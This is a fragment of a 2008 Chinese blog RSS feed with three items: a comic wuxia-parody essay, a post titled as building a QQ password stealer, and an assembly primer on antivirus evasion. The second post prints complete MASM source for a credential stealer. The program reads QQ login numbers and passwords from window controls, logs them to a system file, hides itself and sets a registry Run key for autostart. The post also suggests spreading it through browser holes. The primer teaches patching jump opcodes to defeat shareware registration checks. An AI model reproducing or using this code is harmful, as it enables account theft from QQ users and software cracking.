		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/asp%2Enet">asp.net</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/e7ef809973724b0d6f068c20.html#comment">查看评论</a>]]></description>
        <pubDate>2008-04-11  01:13</pubDate>
        <category><![CDATA[asp.net]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/e7ef809973724b0d6f068c20.html</guid>
</item>

<item>
        <title><![CDATA[北京高考零分考卷（不得不服o(∩_∩)o...哈哈）]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/2e6f7e2325db44569822ed98.html]]></link>
        <description><![CDATA[
		
		<p>题目:&ldquo;细雨湿衣看不见，闲花落地听无声&rdquo;是唐朝诗人刘长卿在《别严士元》中的诗句。曾经有人这样理解这句诗：1、这是歌颂春天的美好意境。2、闲花、细雨表达了不为人知的寂寞。3、看不见、听不见不等于无所作为，是一种恬淡的处世之道。4、这种意境已经不适合当今的世界……根据你的看法写一篇作文。题目自拟，体裁不限。字数800以上。</p>
<p> </p>
<p> </p>
<p>　　盛夏，夜，深夜。</p>
<p>　　景山山颠。</p>
<p>　　山上有人，两个人，一男一女。</p>
<p>　　这两人就是当今武林名声最响的两位杀手，男的名秋细雨，女的叫叶闲花，江湖人称&ldquo;细雨闲花&rdquo;。</p>
<p>　&nbsp;&nbsp;  诗人刘长卿曾用&ldquo;细雨湿衣看不见，闲花落地听无声&rdquo;来描述这两个可怕的杀手。细雨湿衣，湿衣的是鲜血；闲花落地，落地的是人头。这两人杀人来无影去无踪，如果他们想杀你，当你还没看到他们人影没听到他们声音的时候，你就已经死了。</p>
<p>　　秋细雨三天前接到一份帖子，指名要杀叶闲花。事成之后，不但有三百万两冥币，更可以让他在&ldquo;红楼梦中人&rdquo;选秀节目中担任曹雪芹的角色！</p>
<p>　　但是杀死叶闲花比杀死比尔还要困难得多。</p>
<p>　　江湖中没有一个人清楚叶闲花的武功来历，性格脾气，但是每个人都知道叶闲花的故事。</p>
<p>　　叶闲花有一双迷人的大眼睛，据说她曾一动不动地瞪死过赵薇和高圆圆，而那一年她才十七岁。</p>
<p>　　叶闲花声音有如黄莺般幽婉醉人，传说听过她说话后林志玲身体酥麻了整整一年，你说要不要命？</p>
<p>　　叶闲花轻功独步武林，踏雪无痕，落地无声，号称超过当年青翼蝠王韦一笑。有人见她上星期在高速公路上偷了刘翔奥运会入场证，刘翔追出一万公里最后被活活累倒。</p>
<p>　　一般人听到叶闲花的故事早就吓得去买尿不湿了，但是秋细雨没有去买。</p>
<p>　　秋细雨不是一般人。</p>
<p>　　他知道，杀人不但要靠技术，还要拼人品！</p>
<p>　　秋细雨很镇定，他正用一把指甲刀修整着手指甲，他的手指修长有力。</p>
<p>　　他要等待，等待对方先沉不住气。高手相争，不允许一丝一毫的失误，先沉不住气的人就会露出破绽。</p>
<p>　　致命的破绽！</p>
<p>　　因此秋细雨一言不发，只是静静地玩弄着指甲刀。</p>
<p>　　没想到叶闲花更是好整以暇，自己悠然自得地涂口红，喷香水。</p>
<p>　　秋细雨只好先发制人，道：&ldquo;你知道我找你出来是为什么。&rdquo;</p>
<p>　　叶闲花温柔道：&ldquo;在我们动手之前，不能先谈谈么？&rdquo;</p>
<p>　　秋细雨道：&ldquo;我是来杀人的，不是来聊天的。&rdquo;</p>
<p>　　叶闲花道：&ldquo;你有把握杀我？&rdquo;</p>
<p>　　秋细雨道：&ldquo;我从不做没有把握的事情。&rdquo;</p>
<p>　　叶闲花道：&ldquo;我要提醒你一件事。&rdquo;</p>
<p>　　秋细雨道：&ldquo;你说。&rdquo;</p>
<p>　　叶闲花道：&ldquo;百晓生作杀手谱，小女子是杀手榜排名第一，阁下区区第二，你真能杀得了我么？&rdquo;</p>
<p>　　秋细雨道：&ldquo;我也要提醒你一件事。&rdquo;</p>
<p>　　叶闲花道：&ldquo;你说。&rdquo;</p>
<p>　　秋细雨道：&ldquo;论杀手实力，我本在你之前，只是那次排名百晓生采用了短信投票系统，中国&lsquo;花痴&rsquo;人数过于庞大才让你得了第一。&rdquo;</p>
<p>　　叶闲花的脸色一变，道：&ldquo;我更要提醒你，我的粉丝团叫&lsquo;花粉&rsquo;，不叫&lsquo;花痴&rsquo;！&rdquo;</p>
<p>　　秋细雨道：&ldquo;我最后要提醒你，你的那些&lsquo;花粉&rsquo;全都是花痴。还有，我们已经跑题了。&rdquo;</p>
<p>　　叶闲花道：&ldquo;我们这样拼命厮杀，你难道不怕麻烦么？&rdquo;</p>
<p>　　秋细雨道：&ldquo;你以后再也不用怕麻烦了，天下只有一种人永远不怕麻烦，死人！&rdquo;</p>
<p>　　叶闲花道：&ldquo;这么说你非逼我出手不可？&rdquo;</p>
<p>　　秋细雨没有回答，他已不用回答。</p>
<p>　　秋细雨道：&ldquo;亮兵器！&rdquo;</p>
<p>　　叶闲花道：&ldquo;我用刀。&rdquo;</p>
<p>　　秋细雨道：&ldquo;你用刀？刀在何处？&rdquo;</p>
<p>　　叶闲花道：&ldquo;我就是刀！&rdquo;</p>
<p>　　叶闲花露出甜甜的笑容，忽然间褪下了自己的衣服，全身上下只剩下蕾丝比基尼和黑色丝袜。</p>
<p>　　叶闲花的脸美得让人窒息，再配上这样的身材，这样的服饰，充满了一种原始的诱惑力。</p>
<p>　　她的眼睛会说话，她的媚笑会说话，她的手，她的胸膛，她的腿……她身上每分每寸都会说话。</p>
<p>　　她知道，只要是个不瞎的男人，现在肯定会被她迷得神魂颠倒。</p>
<p>　　秋细雨是个男人，而且是个不瞎的男人。</p>
<p>　　可他现在却偏偏好像瞎了一样，完全无动于衷。</p>
<p>　　他知道，美丽的女人是一把刀，当你沉醉的时候，刀就会切进你的胸口。</p>
<p>　　秋细雨沉吟道：&ldquo;我只想问你一件事。&rdquo;</p>
<p>　　叶闲花娇笑着：&ldquo;请讲。&rdquo;</p>
<p>　　秋细雨道：&ldquo;大夏天的，穿这么少你丫不怕蚊子叮啊？&rdquo;</p>
<p>　　叶闲花沉默了半晌，幽幽地道：&ldquo;你一定以为刚才我在喷香水，是不是？我告诉你，我喷的是六神花露水！&rdquo;</p>
<p>　　叶闲花又道：&ldquo;不过这不是普通的六神，是我特别提炼的药水，无色无味无毒，不过却会慢慢扩散在空气中，闻到它的人会四肢麻痹不能动弹。&rdquo;</p>
<p>　　秋细雨一惊，忽然觉得身体已经麻木不听使唤，不由得一身冷汗。</p>
<p>　　叶闲花又道：&ldquo;你以为我和你扯淡是因为我害怕，以为我脱掉衣服是想色诱你，其实这都是为了拖延时间让药水能扩散到你周围。&rdquo;</p>
<p>　　秋细雨面上不动声色，道：&ldquo;难道你自己不怕药水的厉害？&rdquo;</p>
<p>　　叶闲花得意地道：&ldquo;一开始我涂的口红就是解药，所以我仍然可以自由行动。&rdquo;</p>
<p>　　叶闲花逼视着秋细雨，问道：&ldquo;现在你还认为你能杀了我么？&rdquo;</p>
<p>　　秋细雨道：&ldquo;我能。&rdquo;</p>
<p>　　叶闲花道：&ldquo;你不能动而我能动，你却能杀了我，这不是很好笑么？&rdquo;</p>
<p>　　秋细雨道：&ldquo;是很好笑，但是你一定会被我杀死。&rdquo;</p>
<p>　　叶闲花道：&ldquo;为什么我会被你杀死？&rdquo;</p>
<p>　　秋细雨忽然反问道：&ldquo;飞刀能不能杀人？&rdquo;</p>
<p>　　叶闲花道：&ldquo;好像能。&rdquo;</p>
<p>　　秋细雨道：&ldquo;我有没有手？&rdquo;</p>
<p>　　叶闲花道：&ldquo;的确有。&rdquo;</p>
<p>　　秋细雨道：&ldquo;我手上有没有刀？&rdquo;</p>
<p>　　叶闲花道：&ldquo;你手上好像只有指甲刀。&rdquo;</p>
<p>　　秋细雨道：&ldquo;足够了。&rdquo;</p>
<p>　　叶闲花道：&ldquo;足够了？&rdquo;</p>
<p>　　秋细雨道：&ldquo;我有手有刀，就能置人死地。&rdquo;</p>
<p>　　叶闲花道：&ldquo;指甲刀也能杀人？实在可笑！&rdquo;</p>
<p>　　秋细雨道：&ldquo;以前江湖中有七十三个人觉得我这把指甲刀很可笑。&rdquo;</p>
<p>　　叶闲花道：&ldquo;现在呢？&rdquo;</p>
<p>　　秋细雨道：&ldquo;现在人都已死了，死在这把刀下。&rdquo;</p>
<p>　　叶闲花道：&ldquo;你的手还能动？&rdquo;</p>
<p>　　秋细雨道：&ldquo;你要不要试试？&rdquo;</p>
<p>　叶闲花脸上的笑容渐渐凝固，忽然间，她已出手！</p>
<p>　　一招&ldquo;冒牌九阴白骨爪&rdquo;直逼秋细雨天灵盖，这一招她已练过七年四个月零二十九天，她完全有把握相信没有任何人可以抵挡得了这一招。</p>
<p>　　可这一次她错了。</p>
<p>　　刀光一闪，&ldquo;盗版小李飞刀&rdquo;已插入她的咽喉。</p>
<p>　　她到死也不相信，一把指甲刀可以要了她的命！</p>
<p>　　闲花终于落地！</p>
<p>　　三个时辰后，药水的药效渐渐淡去，秋细雨终于可以动弹了。</p>
<p>　　望着叶闲花的尸体，秋细雨道：&ldquo;虽然你已经死了，但是我还要告诉你两件事。第一，我一直用甲刀修整着手指甲是为了调整手和刀之间的同步率，说白了就是找手感。第二，我杀你的真正目的不是为了钱或者名利。&rdquo;</p>
<p>　一边说，秋细雨一边从叶闲花衣服的口袋里搜出了刘翔的奥运会入场证。</p>
<p>　　秋细雨坚定地说：&ldquo;我爱北京，我要看奥运！&rdquo;</p> <a href="http://hi.baidu.com/lustarking/blog/item/2e6f7e2325db44569822ed98.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/%CE%C4%D1%A7%B7%E7%B2%C9">文学风采</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/2e6f7e2325db44569822ed98.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-20  20:07</pubDate>
        <category><![CDATA[文学风采]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/2e6f7e2325db44569822ed98.html</guid>
</item>

<item>
        <title><![CDATA[开发盗QQ密码程序(汇编实例)]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/49db8112006706cac2fd780f.html]]></link>
        <description><![CDATA[
		
		<table class="FCK__ShowTableBorders" cellspacing="0" cellpadding="0" width="96%" align="center" border="0">
    <tbody>
        <tr>
            <td class="nrxq">你可以从这个程序学到如何利用汇编...的一些特别特性 <br>
            <br>
            程序下载地址: <br>
            locking.8u8.com/hack/asmqq.rar <br>
            <br>
            <br>
            这是一个我用了一天多编出来的运行在98环境下的 <br>
            记录QQ密码的小程序,只有不到7KB <br>
            <a class="channel_keylink" href="http://www.3800hk.com/">编程</a>语言是win32汇编,我用的是MASM8.0编绎器 <br>
            <br>
            可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程 <br>
            序要么被杀要么没更新用不到了....只好自已写一个,由于这 <br>
            个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE <br>
            的洞洞让看过网页的人就中招..当然你还得改改程序,因为它 <br>
            不具有发邮件的功能. <br>
            <br>
            文件说明: <br>
            qqlog.txt c:windowssystem32目录下,密码就放这儿了 <br>
            qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动 <br>
            qqplus.asm 源文件 <br>
            qq.rc 资源文件 <br>
            findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法 <br>
            str.asm 验证在文件中找是否有已知字串的小模块 <br>
            readme.txt 这也要说明:) <br>
            <br>
            编绎参数: <br>
            D:masm32BIN&gt;type b.bat <br>
            ml /c /coff msg.asm <br>
            link /subsystem:windows msg.obj qq.res <br>
            <br>
            czy 于03.06.15 <br>
            <br>
            .386 <br>
            .model flat,stdcall <br>
            option casemap:none <br>
            <br>
            include ../include/windows.inc <br>
            include ../include/user32.inc <br>
            includelib ../lib/user32.lib <br>
            include ../include/kernel32.inc <br>
            includelib ../lib/kernel32.lib <br>
            include ../include/Advapi32.inc <br>
            includelib ../lib/Advapi32.lib <br>
            <br>
            _PROCVAR2 typedef proto :dword,:dword <br>
            PROCVAR2 typedef ptr _PROCVAR2 <br>
            <br>
            <br>
            .data <br>
            szcaption db hello asm!,0 <br>
            sztext db hehe ,0 <br>
            szqqtitle db ,0 <br>
            sztext1 db cant find ,0 <br>
            tx db 40 dup(0),0 <br>
            pass db 16 dup(0),0 <br>
            qqno db 40 dup(0),0 <br>
            log db c:windowssystem32qqlog.txt,0 <br>
            szFormat db %s %s,0dh,0Ah,0 <br>
            regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0 <br>
            keyname db QQplus,0 <br>
            exename db QQplus.exe,0 <br>
            hkey dd ? <br>
            allnum dd ? <br>
            @szBuffer db 60 dup(0),0 <br>
            canwrite db 0 <br>
            ;---------------------------------是否有重复记录 <br>
            find db 相同用户名密码已在文件中存在,0 <br>
            logall db 1024 dup(0),0 <br>
            @hFile1 dd ? <br>
            <br>
            p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0 <br>
            k dd 0 ;在logall中找到多少个相同的字符了 <br>
            q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置? <br>
            j dd 0 ;记录在logall中找到多少个字串来了 <br>
            <br>
            base dd 0 ;记录logall的地址 <br>
            <br>
            lenstr dd 0 ;记录匹配的字串的长度 <br>
            len dd 0 ;记录文件长度 <br>
            <br>
            @szBuffer1 db 10 dup(0),0 <br>
            szFormat1 db %d%s,0 <br>
            <br>
            <br>
            ;--------------------------------- <br>
            <br>
            .const <br>
            szregister db RegisterServiceProcessA,0 <br>
            kerdll db kernel32.dll,0 <br>
            <br>
            .data? <br>
            hInstance dd ? <br>
            hWinMain dd ? <br>
            RegisterServiceProcessA PROCVAR2 ? <br>
            hDllInstance dd ? <br>
            <br>
            <br>
            .code <br>
            <br>
            _isin proc <br>
            <br>
            invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ, <br>
            NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL <br>
            ;OPEN_ALWAYS:存在则打开,不存在就创建 <br>
            mov @hFile1,eax <br>
            invoke GetFileSize,@hFile1,NULL ;得到文件长度 <br>
            invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL <br>
            invoke CloseHandle,@hFile1 <br>
            <br>
            <br>
            invoke lstrlen,addr logall ;得到字串总长 <br>
            mov esi,offset len <br>
            mov [esi],eax ;并记录到len变量中 <br>
            <br>
            invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度 <br>
            mov esi,offset lenstr <br>
            mov [esi],eax <br>
            <br>
            ;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr <br>
            ;invoke MessageBox,NULL,offset logall,offset @szBuffer,1 <br>
            ;上面的*作从文件中读出所有内容,下面就是比较 <br>
            <br>
            mov esi,offset logall <br>
            mov edi,offset @szBuffer <br>
            xor eax,eax <br>
            xor ebx,ebx <br>
            xor ecx,ecx <br>
            xor edx,edx <br>
            <br>
            @@bg: <br>
            <br>
            movzx eax,byte ptr [esi] ;logall <br>
            movzx ebx,byte ptr [edi] ;@szBuffer <br>
            mov ecx,len <br>
            .if j&gt;ecx <br>
            jmp @@exit <br>
            .endif <br>
            <br>
            .if eax==ebx <br>
            .if p==0 ;找到一个和hello的第一个字母相同的 <br>
            <br>
            inc p ;p设为1 <br>
            <br>
            mov edx,offset j <br>
            mov ecx,[edx] <br>
            mov q,ecx ;把j的值给Q <br>
            <br>
            .endif <br>
            <br>
            inc edi <br>
            inc esi <br>
            inc j <br>
            inc k <br>
            <br>
            mov ecx,lenstr <br>
            .if k==ecx <br>
            pushad <br>
            ;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall <br>
            ;invoke MessageBox,NULL,offset @szBuffer1,offset find,1 <br>
            popad ;调用了函数eax值发生变化所以要还原寄存器 <br>
            inc canwrite ;可写入标记设为1 <br>
            jmp @@exit <br>
            .endif <br>
            <br>
            .else <br>
            .if p==1 <br>
            mov ecx,q <br>
            mov j,ecx <br>
            inc j <br>
            <br>
            movzx eax,byte ptr [esi] <br>
            add esi,j <br>
            <br>
            mov edi,offset @szBuffer <br>
            dec p ;p重设为0 <br>
            mov k,0 <br>
            .else <br>
            inc j <br>
            inc esi <br>
            .endif <br>
            .endif <br>
            <br>
            jmp @@bg <br>
            @@exit: <br>
            ret <br>
            _isin endp <br>
            <br>
            <br>
            _SavePass proc ;用户名密码记录在全局变量中了 <br>
            local @hFile:HFILE <br>
            local @lpOpenbuf:OFSTRUCT <br>
            <br>
            <br>
            invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass <br>
            ;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1 <br>
            <br>
            mov qqno,NULL <br>
            mov pass,NULL <br>
            <br>
            invoke _isin <br>
            <br>
            .if canwrite==0 <br>
            <br>
            invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ, <br>
            NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL <br>
            ;OPEN_ALWAYS:存在则打开,不存在就创建 <br>
            mov @hFile,eax <br>
            invoke SetFilePointer,@hFile,0,NULL,FILE_END <br>
            invoke SetEndOfFile,@hFile ;文件指针放到文件尾 <br>
            invoke lstrlen,addr @szBuffer <br>
            invoke _lwrite,@hFile,addr @szBuffer,eax <br>
            .else <br>
            dec canwrite ;还原标记 <br>
            .endif <br>
            <br>
            invoke CloseHandle,@hFile <br>
            <br>
            ;清空当前记录的密码防止重复记录 <br>
            <br>
            ret <br>
            _SavePass endp <br>
            <br>
            _Findzi proc _hzi <br>
            <br>
            invoke GetWindowLong,_hzi, GWL_STYLE <br>
            <br>
            .if eax==50012080h ;记录QQ号码 <br>
            invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0 <br>
            inc eax <br>
            push eax <br>
            invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx <br>
            ;invoke MessageBox,NULL,offset tx,offset szcaption,1 <br>
            <br>
            <br>
            ; mov esi, offset tx <br>
            ; mov edi, offset qqno <br>
            ;MYCOPYSTR0: <br>
            ; mov al,byte ptr [esi] <br>
            ; cmp al,0 <br>
            ; jz MYCOPYSTR1 <br>
            ; mov [edi],al <br>
            ; inc esi <br>
            ; inc edi <br>
            ; jmp MYCOPYSTR0 <br>
            ;MYCOPYSTR1: <br>
            pop ecx <br>
            <br>
            .if ecx&gt;5 ;长度大于4,qqno!=tx <br>
            <br>
            mov edi,offset qqno <br>
            mov esi,offset tx <br>
            xor edx,edx <br>
            .while edx&lt;ecx <br>
            mov eax,[esi] <br>
            cmp [edi],eax <br>
            jnz @@qt <br>
            inc esi <br>
            inc edi <br>
            inc edx <br>
            .endw <br>
            jmp @@ps <br>
            <br>
            <br>
            @@qt: <br>
            xor edx,edx <br>
            mov edi,offset qqno <br>
            mov esi,offset tx <br>
            <br>
            .while edx&lt;ecx <br>
            mov eax,[esi] <br>
            mov [edi],eax <br>
            inc esi <br>
            inc edi <br>
            inc edx <br>
            .endw <br>
            <br>
            <br>
            <br>
            ;invoke MessageBox,NULL,offset qqno,offset szcaption,1 <br>
            .endif <br>
            .endif <br>
            <br>
            <br>
            @@ps: <br>
            <br>
            <br>
            .if eax==500100A0h ;记录QQ密码 <br>
            invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0 <br>
            inc eax <br>
            push eax <br>
            invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx <br>
            <br>
            pop ecx <br>
            <br>
            .if ecx&gt;6 ;长度大于5,qqno!=tx <br>
            <br>
            mov edi,offset pass <br>
            mov esi,offset tx <br>
            xor edx,edx <br>
            .while edx&lt;ecx <br>
            mov eax,[esi] <br>
            cmp [edi],eax <br>
            jnz @@qt1 <br>
            inc esi <br>
            inc edi <br>
            inc edx <br>
            .endw <br>
            jmp @@ps1 <br>
            <br>
            <br>
            @@qt1: <br>
            xor edx,edx <br>
            mov edi,offset pass <br>
            mov esi,offset tx <br>
            <br>
            .while edx&lt;ecx <br>
            mov eax,[esi] <br>
            mov [edi],eax <br>
            inc esi <br>
            inc edi <br>
            inc edx <br>
            .endw <br>
            <br>
            ;invoke MessageBox,NULL,offset pass,offset szcaption,1 <br>
            .endif <br>
            .endif <br>
            @@ps1: <br>
            <br>
            <br>
            invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体 <br>
            <br>
            <br>
            .If eax!=0 ;没有兄弟窗口了 <br>
            invoke _Findzi,eax <br>
            .EndIf <br>
            <br>
            invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口 <br>
            <br>
            .If eax!=0 ;没有子窗口了 <br>
            invoke _Findzi,eax <br>
            .EndIf <br>
            <br>
            ret <br>
            _Findzi endp <br>
            <br>
            <br>
            _ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime <br>
            pushad <br>
            invoke FindWindow,NULL,offset szqqtitle <br>
            .if eax <br>
            invoke GetWindow,eax, GW_CHILD <br>
            invoke _Findzi,eax <br>
            .else <br>
            ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1 <br>
            ;找不到登陆窗口并且用户名密码不为空就试图记录 <br>
            <br>
            invoke lstrlen,offset pass <br>
            .if eax&gt;5 <br>
            ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1 <br>
            invoke _SavePass <br>
            .endif <br>
            .endif <br>
            popad <br>
            ret <br>
            <br>
            _ProcTimer endp <br>
            <br>
            <br>
            _ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam <br>
            mov eax,uMsg <br>
            .if eax==WM_INITDIALOG <br>
            push hWnd <br>
            pop hWinMain <br>
            invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮 <br>
            invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见 <br>
            invoke SetTimer,hWinMain,1,500,addr _ProcTimer <br>
            .elseif eax == WM_CLOSE <br>
            invoke KillTimer,hWinMain,1 <br>
            invoke EndDialog,hWinMain,NULL <br>
            <br>
            .else <br>
            mov eax,FALSE <br>
            ret <br>
            .endif <br>
            mov eax,TRUE <br>
            ret <br>
            _ProcDlgMain endp <br>
            <br>
            <br>
            start: <br>
            invoke GetModuleHandle,NULL <br>
            mov hInstance,eax <br>
            <br>
            ;pushad <br>
            ;invoke LoadLibrary,offset kerdll <br>
            ;.if eax ;加载KERNEL32.dll成功 <br>
            <br>
            ; mov hDllInstance,eax <br>
            ; invoke GetProcAddress,hDllInstance,offset szregister <br>
            ; <br>
            ; mov RegisterServiceProcessA,eax <br>
            ; ;mov ebx,01 <br>
            ; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程 <br>
            ; <br>
            ; invoke FreeLibrary,offset kerdll <br>
            ;.endif <br>
            ;popad <br>
            <br>
            invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL <br>
            <br>
            <br>
            ;开机自启动 <br>
            invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey <br>
            invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11 <br>
            invoke RegCloseKey,hkey <br>
            ;invoke ExitProcess,NULL <br>
            end start <img height="1" src="http://www.3800hk.com/news/w45/down_info.asp?id=1196" width="1" border="0"></td>
        </tr>
        <tr valign="middle">
        </tr>
    </tbody>
</table>
<br> <a href="http://hi.baidu.com/lustarking/blog/item/49db8112006706cac2fd780f.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/%BC%BC%CA%F5%CE%C4%D5%C2">技术文章</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/49db8112006706cac2fd780f.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-14  14:22</pubDate>
        <category><![CDATA[技术文章]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/49db8112006706cac2fd780f.html</guid>
</item>

<item>
        <title><![CDATA[汇编”免杀”基础知识总结说明]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/073ca852a5b9b70a0df3e30f.html]]></link>
        <description><![CDATA[
		
		<p>一.机械码,又称机器码.<br>
ultraedit打开,编辑exe文件时你会看到<br>
许许多多的由0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F组成的数码,这些数码<br>
就是机器码.<br>
修改程序时必须通过修改机器码来修改exe文件.</p>
<p>二.需要熟练掌握的全部汇编知识(只有这么多)<br>
不大容易理解,可先强行背住,混个脸儿熟,以后慢慢的就理解了<br>
cmp a,b 比较a与b<br>
mov a,b 把b的值送给a<br>
ret 返回主程序<br>
nop 无作用,英文&ldquo;no operation&rdquo;的简写，意思是&ldquo;do nothing&rdquo;(机器码90)***机器码的含义参看上面<br>
(解释:ultraedit打开编辑exe文件时你看到90,等同于汇编语句nop)<br>
call 调用子程序<br>
je 或jz 若相等则跳(机器码74 或0F84)<br>
jne或jnz 若不相等则跳(机器码75或0F85)<br>
jmp 无条件跳(机器码EB)<br>
jb 若小于则跳<br>
ja 若大于则跳<br>
jg 若大于则跳<br>
jge 若大于等于则跳<br>
jl 若小于则跳<br>
jle 若小于等于则跳<br>
pop 出栈<br>
push 压栈</p>
<p>三.常见修改(机器码)<br>
74=&gt;75 74=&gt;90 74=&gt;EB<br>
75=&gt;74 75=&gt;90 75=&gt;EB</p>
<p>jnz-&gt;nop<br>
75-&gt;90(相应的机器码修改)</p>
<p>jnz -&gt; jmp<br>
75 -&gt; EB(相应的机器码修改)</p>
<p>jnz -&gt; jz<br>
75-&gt;74 (正常) 0F 85 -&gt; 0F 84(特殊情况下,有时,相应的机器码修改)</p>
<p>四.两种不同情况的不同修改方法<br>
1.修改为jmp<br>
je(jne,jz,jnz) =&gt;jmp相应的机器码EB （出错信息向上找到的第一个跳转）jmp的作用是绝对跳，无条件跳，从而跳过下面的出错信息</p>
<p>xxxxxxxxxxxx 出错信息，例如：注册码不对，sorry,未注册版不能…，&rdquo;Function Not Avaible in Demo&rdquo; 或 &rdquo;Command Not Avaible&rdquo; 或 &rdquo;Can&rsquo;t save in Shareware/Demo&rdquo;等 （我们希望把它跳过，不让它出现）<br>
。。。<br>
。。。<br>
xxxxxxxxxxxx 正确路线所在</p>
<p>2.修改为nop<br>
je(jne,jz,jnz) =&gt;nop相应的机器码90 （正确信息向上找到的第一个跳转） nop的作用是抹掉这个跳转，使这个跳转无效，失去作用，从而使程序顺利来到紧跟其后的正确信息处</p>
<p>xxxxxxxxxxxx 正确信息，例如：注册成功，谢谢您的支持等（我们希望它不被跳过，让它出现，程序一定要顺利来到这里）<br>
。。。<br>
。。。<br>
xxxxxxxxxxxx 出错信息（我们希望不要跳到这里，不让它出现）它们在存贮器和寄存器、寄存器和输入输出端口之间传送<a class="channel_keylink" href="http://www.3800hk.com/">数据</a>. <br>
1. 通用<a class="channel_keylink" href="http://www.3800hk.com/">数据</a>传送指令. <br>
MOV 传送字或字节. <br>
MOVSX 先符号扩展,再传送. <br>
MOVZX 先零扩展,再传送. <br>
PUSH 把字压入堆栈. <br>
POP 把字弹出堆栈. <br>
PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈. <br>
POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈. <br>
PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈. <br>
POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈. <br>
BSWAP 交换32位寄存器里字节的顺序 <br>
XCHG 交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数) <br>
CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX ) <br>
XADD 先交换再累加.( 结果在第一个操作数里 ) <br>
XLAT 字节查表转换. <br>
── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即 <br>
0-FFH); 返回 AL 为查表结果. ( [BX+AL]-&gt;AL ) <br>
2. 输入输出端口传送指令. <br>
IN I/O端口输入. ( 语法: IN 累加器, {端口号│DX} ) <br>
OUT I/O端口输出. ( 语法: OUT {端口号│DX},累加器 ) <br>
输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时, <br>
其范围是 0-65535. <br>
3. 目的地址传送指令. <br>
LEA 装入有效地址. <br>
例: LEA DX,string ;把偏移地址存到DX. <br>
LDS 传送目标指针,把指针内容装入DS. <br>
例: LDS SI,string ;把段地址:偏移地址存到DS:SI. <br>
LES 传送目标指针,把指针内容装入ES. <br>
例: LES DI,string ;把段地址:偏移地址存到ESI. <br>
LFS 传送目标指针,把指针内容装入FS. <br>
例: LFS DI,string ;把段地址:偏移地址存到FSI. <br>
LGS 传送目标指针,把指针内容装入GS. <br>
例: LGS DI,string ;把段地址:偏移地址存到GSI. <br>
LSS 传送目标指针,把指针内容装入SS. <br>
例: LSS DI,string ;把段地址:偏移地址存到SSI. <br>
4. 标志传送指令. <br>
LAHF 标志寄存器传送,把标志装入AH. <br>
SAHF 标志寄存器传送,把AH内容装入标志寄存器. <br>
PUSHF 标志入栈. <br>
POPF 标志出栈. <br>
PUSHD 32位标志入栈. <br>
POPD 32位标志出栈.</p>
<p>二、算术运算指令 <br>
ADD 加法. <br>
ADC 带进位加法. <br>
INC 加 1. <br>
AAA 加法的ASCII码调整. <br>
DAA 加法的十进制调整. <br>
SUB 减法. <br>
SBB 带借位减法. <br>
DEC 减 1. <br>
NEC 求反(以 0 减之). <br>
CMP 比较.(两操作数作减法,仅修改标志位,不回送结果). <br>
AAS 减法的ASCII码调整. <br>
DAS 减法的十进制调整. <br>
MUL 无符号乘法. <br>
IMUL 整数乘法. <br>
